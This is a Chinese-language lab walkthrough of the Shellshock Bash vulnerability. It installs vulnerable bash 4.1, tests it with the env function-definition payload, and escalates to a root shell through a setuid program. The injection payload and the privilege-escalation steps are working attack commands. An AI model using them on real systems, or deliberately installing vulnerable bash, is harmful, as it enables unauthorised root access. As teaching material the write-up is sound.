介绍
wiki: Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。
环境搭建
- 下载
1 | $ sudo su |
使用非 root 用户登录,这里使用 ubuntu 用户,然后切到 root 权限安装4.1版 bash。
- 解压并进入目录
1 | $ tar xf bash-4.1.tar.gz && cd bash-4.1 |
- 配置
1 | $ ./configure |
- 构建
1 | $ make && make test |
- 安装
1 | $ make install |
- 删除旧 bash 软连接
1 | $ rm /bin/bash |
- 创建新 bash 软连接
1 | $ ln -s /usr/local/bin/bash /bin/bash |
删除原来的 bash 软连接,并创建新的软连接,到目前为止,环境已经搭建完成。
测试
- 退出 root 用户
1 | $ exit |
- 检测是否存在 shellshock 漏洞
1 | $ env x='() { :; }; echo vulnerable' bash -c "echo this is a test" |
如果输出 vulnerable,说明 bash 有漏洞。
shellshock漏洞说明
简单了解下 bash 自定义函数,只需要函数名就能够调用该函数。
- bash 自定义函数
1 | $ export foo='() { :; }; echo Hello World' |
- bash 对应的环境变量
1 | KEY = foo |
bash 读取了环境变量,在定义 foo 之后直接调用了后面的函数。一旦调用 bash,自定义的语句就直接触发。
重现shellshock攻击
通过攻击 Set-UID 程序来获得 root 权限。
- 创建软连接,让 /bin/sh 指向 /bin/bash
1 | $ sudo ln -sf /bin/bash /bin/sh |
- 创建 /home/ubuntu/shock.c,内容如下
1 | # include <unistd.h> |
- 切换 root 用户编译 shock.c
1 | $ sudo su && gcc -o shock shock.c |
- 设置编译后的 shock 所有者为 root
1 | $ chmod u+s shock |
hack 过程
- 切换 ubuntu 用户
1 | $ exit |
- 执行 shock
1 | $ export foo='() { :; }; bash' |
成功拿到 root 用户权限。